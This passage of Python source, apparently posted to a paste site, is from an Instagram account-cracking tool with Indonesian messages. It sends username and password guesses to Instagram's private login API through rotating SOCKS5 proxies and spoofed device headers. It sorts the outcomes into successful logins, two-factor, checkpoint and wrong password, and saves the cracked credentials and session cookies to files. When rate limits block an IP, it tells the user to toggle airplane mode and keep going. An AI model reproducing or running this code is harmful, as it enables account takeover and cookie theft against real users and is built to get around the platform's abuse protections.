  1060.                     self.faktor+=1
  1061.                     with open('/sdcard/2F/'+self.result_two,'a') as wr:
  1062.                         wr.write(save)
  1063.                         wr.close()  
  1064.                     break
  1065.                 elif 'challenge_required' in str(response):
  1066.                     try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1067.                     except (UnboundLocalError) as e: pass
  1068.                     tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1069.                     tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1070.                     tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  1071.                     tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1072.                     printz(tree)
  1073.                     save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
  1074.                     self.chekpoint+=1
  1075.                     with open('/sdcard/CP/'+self.result_cp,'a') as wr:
  1076.                         wr.write(save)
  1077.                         wr.close()
  1078.                     break    
  1079.                 elif 'ip_block' in str(response):
  1080.                     Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1081.                     time.sleep(3.5)    
  1082.                 else: continue  
  1083.             except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1084.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1085.                 time.sleep(31)
  1086.                 self.ExecAjax_Threads(username, password)
  1087.         self.looping+=1
  1088.        
  1089.     def DetedtorChekpoint(self, username, passwd):
  1090.         byps = requests.Session()
  1091.         Console().print(f"[bold grey50]   ──> [bold purple]{self.looping}[bold grey50]/[bold white] Ok:-[bold green]{self.success}[bold white] 2f:-[bold red]{self.faktor}[bold white] Cp:-[bold yellow]{self.chekpoint}[bold white] Salah:-[bold blue]{self.sandi_salah}[bold white]    ", end='\r')
  1092.         ua_generate = Useragent().useragent_api()
  1093.         try:
  1094.             hash = hashlib.md5()
  1095.             hash.update(username.encode('utf-8') + passwd.encode('utf-8'))
  1096.             hex_ = hash.hexdigest()
  1097.             hash.update(hex_.encode('utf-8') + '12345'.encode('utf-8'))
  1098.             curl = byps.get('https://i.instagram.com/api/v1/qe/sync/', data = {'signed_body': '7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+str(json.dumps({"id":"{}".format(str(uuid.uuid4())),"server_config_retrieval":"1","experiments":"ig_android_fci_onboarding_friend_search,ig_android_device_detection_info_upload,ig_android_sms_retriever_backtest_universe,ig_android_direct_add_direct_to_android_native_photo_share_sheet,ig_growth_android_profile_pic_prefill_with_fb_pic_2,ig_account_identity_logged_out_signals_global_holdout_universe,ig_android_login_identifier_fuzzy_match,ig_android_reliability_leak_fixes_h1_2019,ig_android_video_render_codec_low_memory_gc,ig_android_custom_transitions_universe,ig_android_push_fcm,ig_android_show_login_info_reminder_universe,ig_android_email_fuzzy_matching_universe,ig_android_one_tap_aymh_redesign_universe,ig_android_direct_send_like_from_notification,ig_android_suma_landing_page,ig_android_direct_main_tab_universe,ig_android_session_scoped_logger,ig_android_accoun_switch_badge_fix_universe,ig_android_smartlock_hints_universe,ig_android_black_out,ig_android_account_switch_infra_universe,ig_android_video_ffmpegutil_pts_fix,ig_android_multi_tap_login_new,ig_android_caption_typeahead_fix_on_o_universe,ig_android_save_pwd_checkbox_reg_universe,ig_android_nux_add_email_device,ig_android_direct_remove_view_mode_stickiness_universe,ig_username_suggestions_on_username_taken,ig_android_analytics_accessibility_event,ig_android_ingestion_video_support_hevc_decoding,ig_android_account_recovery_auto_login,ig_android_feed_cache_device_universe2,ig_android_sim_info_upload,ig_android_mobile_http_flow_device_universe,ig_account_recovery_via_whatsapp_universe,ig_android_hide_fb_button_when_not_installed_universe,ig_android_targeted_one_tap_upsell_universe,ig_android_gmail_oauth_in_reg,ig_android_native_logcat_interceptor,ig_android_hide_typeahead_for_logged_users,ig_android_vc_interop_use_test_igid_universe,ig_android_reg_modularization_universe,ig_android_phone_edit_distance_universe,ig_android_device_verification_separate_endpoint,ig_android_universe_noticiation_channels,ig_smartlock_login,ig_android_account_linking_universe,ig_android_hsite_prefill_new_carrier,ig_android_retry_create_account_universe,ig_android_family_apps_user_values_provider_universe,ig_android_reg_nux_headers_cleanup_universe,ig_android_device_info_foreground_reporting,ig_android_device_verification_fb_signup,ig_android_onetaplogin_optimization,ig_video_debug_overlay,ig_android_ask_for_permissions_on_reg,ig_assisted_login_universe,ig_android_display_full_country_name_in_reg_universe,ig_android_security_intent_switchoff,ig_android_device_info_job_based_reporting,ig_android_passwordless_auth,ig_android_direct_main_tab_account_switch,ig_android_modularized_dynamic_nux_universe,ig_android_fb_account_linking_sampling_freq_universe,ig_android_fix_sms_read_lollipop,ig_android_access_flow_prefill"})),'ig_sig_key_version': '4'}, allow_redirects=True)
  1099.             headers = {
  1100.                 'x-ig-bandwidth-totalbytes-b': str(random.randint(5000000, 90000000)),
  1101.                 'x-ig-app-locale': 'in_ID',
  1102.                 'x-ig-bandwidth-speed-kbps': str(random.randint(2500000, 3000000) / 1000),
  1103.                 'x-ig-device-locale': 'in_ID',
  1104.                 'x-ig-mapped-locale': 'id_ID',
  1105.                 'x-pigeon-rawclienttime': '{:.6f}'.format(time.time()),
  1106.                 'x-ig-bandwidth-totaltime-ms': str(random.randint(2000, 9000)),
  1107.                 'x-ig-android-id': f'android-{hash.hexdigest()[:16]}',
  1108.                 'x-bloks-version-id': '8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb',
  1109.                 'x-ig-timezone-offset': str(-time.timezone),
  1110.                 'x-ig-connection-type': 'MOBILE(LTE)',
  1111.                 'x-ig-capabilities': random.choice(['Fw==','3brTv10=','3brTvw8=','3brTvwM=']),
  1112.                 'x-pigeon-session-id': f'UFS-{str(uuid.uuid4())}-0',
  1113.                 'x-ig-app-id': '567067343352427',
  1114.                 'priority': 'u=3,i',
  1115.                 'x-ig-family-device-id': f'{str(uuid.uuid4())}',
  1116.                 'user-agent': ua_generate,
  1117.                 'accept-language': 'id-ID, en-US',
  1118.                 'x-bloks-is-layout-rtl': 'false',
  1119.                 'x-ig-device-id': f'{str(uuid.uuid4())}',
  1120.                 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  1121.                 'Host': 'i.instagram.com',
  1122.                 'x-fb-http-engine': 'Liger',
  1123.                 'x-fb-client-ip': 'True',
  1124.                 'x-fb-server-cluster': 'True',
  1125.                 'x-fb-connection-type': 'MOBILE.LTE',
  1126.                 'connection': 'keep-alive',
  1127.                 'cookie': (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1128.             }
  1129.             payload = json.dumps({
  1130.                 'username':username,
  1131.                 'phone_id': str(uuid.uuid4()),
  1132.                 '_csrftoken': curl.cookies.get('csrftoken',None),
  1133.                 'guid': str(uuid.uuid4()),
  1134.                 'device_id': f'android-{hash.hexdigest()[:16]}',
  1135.                 'login_attempt_count': '0',
  1136.                 'enc_password':Requre().enc_password(passwd)
  1137.                 }
  1138.             )
  1139.             encode = ('signed_body=7b589ee94c17a18ac2ea9a5247069f1d5f631ba9a37fae36429f10be5dddccfa.'+urllib.parse.quote(payload)+'&ig_sig_key_version=4')
  1140.             proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1141.             response = byps.post('https://i.instagram.com/api/v1/accounts/login/', data = encode, headers = headers, proxies = proxs, allow_redirects=True).text
  1142.             if 'logged_in_user' in str(response):
  1143.                 self.success+=1
  1144.                 try: cookie = (';'.join(['%s=%s'%(name, value) for name, value in byps.cookies.get_dict().items()]))
  1145.                 except (Exception) as e: cookie = (None)
  1146.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1147.                 except (UnboundLocalError) as e: pass
  1148.                 tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1149.                 tree.add(Columns([Panel(f"[bold green]{username}", style = "bold grey50", width=30), Panel(f"[bold green]{passwd}", style = "bold grey50", width=30)]))
  1150.                 tree.add(Columns([Panel(f"[bold green]{follower}", style = "bold grey50", width=19), Panel(f"[bold green]{followed}", style = "bold grey50", width=21), Panel(f"[bold green]{feedpost}", style = "bold grey50", width=19)]))
  1151.                 tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1152.                 tree.add(Panel(f"[bold green]{headers['user-agent']}", style = "bold grey50", width=61))
  1153.                 printz(tree)  
  1154.             elif 'two_factor_required' in str(response):
  1155.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1156.                 except (UnboundLocalError) as e: pass
  1157.                 tree = Tree(Panel.fit("[bold red]LOGIN TWO FAKTOR", style = "bold grey50"), style="bold white")
  1158.                 tree.add(Columns([Panel(f"[bold red]{username}", style = "bold grey50", width=30), Panel(f"[bold red]{passwd}", style = "bold grey50", width=30)]))
  1159.                 tree.add(Columns([Panel(f"[bold red]{follower}", style = "bold grey50", width=19), Panel(f"[bold red]{followed}", style = "bold grey50", width=21), Panel(f"[bold red]{feedpost}", style = "bold grey50", width=19)]))
  1160.                 tree.add(Panel(f"[bold red]{headers['user-agent']}", style = "bold grey50", width=61))
  1161.                 printz(tree)
  1162.                 self.faktor+=1
  1163.             elif 'challenge_required' in str(response):
  1164.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1165.                 except (UnboundLocalError) as e: pass
  1166.                 tree = Tree(Panel.fit("[bold yellow]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1167.                 tree.add(Columns([Panel(f"[bold yellow]{username}", style = "bold grey50", width=30), Panel(f"[bold yellow]{passwd}", style = "bold grey50", width=30)]))
  1168.                 tree.add(Columns([Panel(f"[bold yellow]{follower}", style = "bold grey50", width=19), Panel(f"[bold yellow]{followed}", style = "bold grey50", width=21), Panel(f"[bold yellow]{feedpost}", style = "bold grey50", width=19)]))
  1169.                 tree.add(Panel(f"[bold yellow]{headers['user-agent']}", style = "bold grey50", width=61))
  1170.                 printz(tree)
  1171.                 self.chekpoint+=1
  1172.             elif 'ip_block' in str(response):
  1173.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1174.                 time.sleep(3.5)  
  1175.             elif 'Harap tunggu beberapa menit sebelum mencoba lagi.' in str(response):  
  1176.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1177.                 time.sleep(3.5)  
  1178.             elif 'Kesalahan' in str(response):
  1179.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1180.                 time.sleep(3.5)  
  1181.             elif 'Maaf, terdapat masalah pada permintaan Anda.' in str(response):
  1182.                 Console().print(f"[bold grey50]   ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
  1183.                 time.sleep(3.5)  
  1184.             else:
  1185.                 try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
  1186.                 except (UnboundLocalError) as e: pass
  1187.                 tree = Tree(Panel.fit("[bold blue]KATA SANDI SALAH", style = "bold grey50"), style="bold white")
  1188.                 tree.add(Columns([Panel(f"[bold blue]{username}", style = "bold grey50", width=30), Panel(f"[bold blue]{passwd}", style = "bold grey50", width=30)]))
  1189.                 tree.add(Columns([Panel(f"[bold blue]{follower}", style = "bold grey50", width=19), Panel(f"[bold blue]{followed}", style = "bold grey50", width=21), Panel(f"[bold blue]{feedpost}", style = "bold grey50", width=19)]))
  1190.                 tree.add(Panel(f"[bold blue]{headers['user-agent']}", style = "bold grey50", width=61))
  1191.                 printz(tree)
  1192.                 self.sandi_salah+=1
  1193.         except (KeyboardInterrupt, requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
  1194.             Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1195.             time.sleep(31)
  1196.         self.looping+=1
  1197.        
  1198.  
  1199.  
  1200.        
Add Comment
Please, Sign In to add comment